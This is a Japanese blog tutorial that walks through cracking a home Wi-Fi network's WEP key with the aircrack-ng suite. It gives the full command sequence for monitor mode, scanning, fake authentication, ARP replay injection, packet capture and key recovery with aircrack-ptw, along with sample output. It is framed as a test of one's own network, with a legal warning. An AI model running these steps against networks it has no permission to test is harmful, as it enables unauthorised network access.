このページの情報を元に他人のWEPを解析してワイヤレスネットワークに侵入すると法律違反となり、お縄になる可能性がありますので、あくまでも個人的な興味の範囲でお楽しみください。
便利なものには必ずそれに伴う代償があるもので、無線が届く範囲であれば理屈的には誰でも無線LANに接続可能です。
簡単に言うと、近所の人がただで自分の無線LANに接続し、インターネットし放題と言う可能性があるわけです。
勝手にインターネット接続を使用されるくらいならまだかわいいものですが、悪用されてお巡りさんがドアをノックするなんて事態になると洒落になりませんから、無線LANを構築する際には、第三者が勝手にネット接続を使おうが、悪用されて警察が来ようが全然関係ないと言う懐の広い人以外は、接続時にパスワードが必要なWEP、WPA等の認証を利用する必要があります。
ただ、少し古いルーターなんかですとWEPにしか対応していなかったり、クライアントのアダプタとの相性等でWEPしか使えなかったりする場合があります。
実はこのWEPは非常に脆い暗号化技術で、すでに数分でパスワードを解析できるツールが公開されています。
ツール自体はLANのアダプタを選んだりLinuxベースで開発されていること等から、かなり環境を選ぶため、誰でも手軽に使えるものではないのが幸いですが、それでもかなりの脅威です。
EeePC(P701)は、LANアダプタにAtherosのチップを使っており、WEP解析ツールの動作に必要な要件を満たしています。
また、すでにUbuntuを使用しているのでこれまた解析ツールの使用要件にぴったりです。
というわけで、自宅のワイヤレスLANのセキュリティーにWEPを用いている場合、本当に簡単にパスワードが解析されてしまうのか検証してみることにしましょう。
用意するものは、
- aircrack-ng
=>WEPのパスワード解析に必要な情報の収集から情報収集のために必要なアクセスポイントへのアタック、パスワードの解読までを行う優れもの。
インストールにはパッケージマネージャを使用すればOKです。 - aircrack-ptw
=>収集した情報からWEPのパスワードを最短で解読できる恐るべきツール(aircrack-ngに組み込み済み?)。
インストールにはソースコードをダウンロードして解凍、"make"でコンパイル後、"aircrack-ptw"を"usr/bin"へコピーします。
また、"make"コマンドでエラーが出る場合は、"libpcap0.8-dev"をインストールする必要があります。
まず、自分のネットワークアダプタの構成を見てみましょう。
iwconfig恐らく、下記のようになってるはずです。
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions. ath0 IEEE 802.11g ESSID:"weptest" Nickname:"" Mode:Managed Frequency:2.457 GHz Access Point: 99:88:77:66:55:44 Bit Rate:0 kb/s Tx-Power:17 dBm Sensitivity=1/1 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/70 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:2278 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0このままネットワークアダプタを追加してもいいんですが、何故か当方の環境だとうまく行かなかったので、現在有効になっている"ath0"を無効にします。
airmon-ng stop ath0次に、
airmon-ng start wifi0これで、"ath0"がモニターモードで追加されます。
airmon-ng下記のように表示されればOKです。
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)では、今現在、どのようなワイヤレスLANが近くにあるのか見てみましょう。
airodump-ng ath0とすると、
CH ? ][ Elapsed: 30 s ][ 2008-07-13 15:36
BSSID PWR Beacons #Data, #/s CH MB
00:11:22:33:44:55 45 268 18 0 6 54
aa:bb:cc:dd:ee:ff 30 120 46 0 9 54
ENC CIPHER AUTH ESSID
WEP WEP weptest
WEP WEP underarrest
BSSID STATION PWR Lost
00:11:22:33:44:55 01:23:45:67:89:01 48 0
(not associated) 23:45:67:89:01:02 34 0
Packets Probes
60 weptest
17
こんな感じで近くのワイヤレスLANの状況が分かります。今回、WEPのパスワードを解読するターゲットは"weptest"とします。
WEPのパスワードを解読するには、このワイヤレスLAN上でやり取りされる正常なパケットをできる限り多く収集する必要があるのですが、このまま見ているだけではパケット数はなかなか増えません。
ターゲットのアクセスポイントがMACアドレスによるアクセス制限を掛けていないのであれば、"aireplay-ng"でアクセスポイントとネットワークアダプタの関連付けを行い、ARPによるリクエストを送信して強引にパケットを増やすことが可能です。
aireplay-ng -1 0 -a 00:11:22:33:44:55 -h 99:88:77:66:55:44 -e weptest ath0で、
12:34:19 Waitig for beacon frame (BSSID: 00:11:22:33:44:55) 12:34:19 Sending Authentication Request 12:34:19 Authentication successful 12:34:19 Sending Association Request 12:34:19 Association successful :-)こんなメッセージが出たらOKです。
次に、パケットを収集するための準備を行いましょう。
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w output ath0これで、収集したパケットをファイルに書き出します。
このターミナルはこのままパケット収集のために放置して、新たにターミナルを起動します。
aireplay-ng -3 -b 00:11:22:33:44:55 -h 99:88:77:66:55:44 ath0で、
Saving ARP requests in replay_arp-0011-123456.cap You should also start airodump-ng to capture replies. Read 629399 packets (got 316283 ARP requests), sent 210955 packets...こんな感じのメッセージが出ればOKです。
このターミナルもARPリクエストを送信し続けるため、このままパケットの収集が終わるまで放置します。
先ほどの"airodump-ng"を実行したターミナルを見ると、当該アクセスポイントのパケット数が面白いように増えていくのが分かると思います。
後は、パケットが十分に集まるまで適当に放置しておきましょう。
とりあえず、パケットが85kくらいのところで、"Ctl+c"でプロセスを停止、いよいよWEPのパスワードの解読です。
aircrack-ptw output-01.capしばしの後、
allocationg a new table bssid = 00:11:22:33:44:55 keyindex=0 stats for bssid 00:11:22:33:44:55 keyindex=0 packet=27335 Found key with len 05: xx xx xx xx xx"Found key"が表示されれば、WEPのパスワードの解読の成功です。
早速、ワイヤレスLANにアクセスしてみましょう。
上記のパスワードはHex形式ですので、Ubuntuの場合は認証画面から"WEP Hex"を選択します。
今回はかなりベーシックなWEPを使っているワイヤレスLANですが、MACアドレスでのアクセス規制や、関連付けが思うようにいかない場合もあるようです。
ただ、"aircrack-ng"には様々な状況におけるパケットの収集方法があるようですので、研究して見ると良いかも知れません。
ちょっと、面白半分で解読してみましたが、本当にパスワードがあっけなく解読できてしまいました。
今、WEPを自宅LANで使っている人は外からアクセスしている人がいないかどうかチェックして見る必要がありそうです。
| 次 > |
|---|



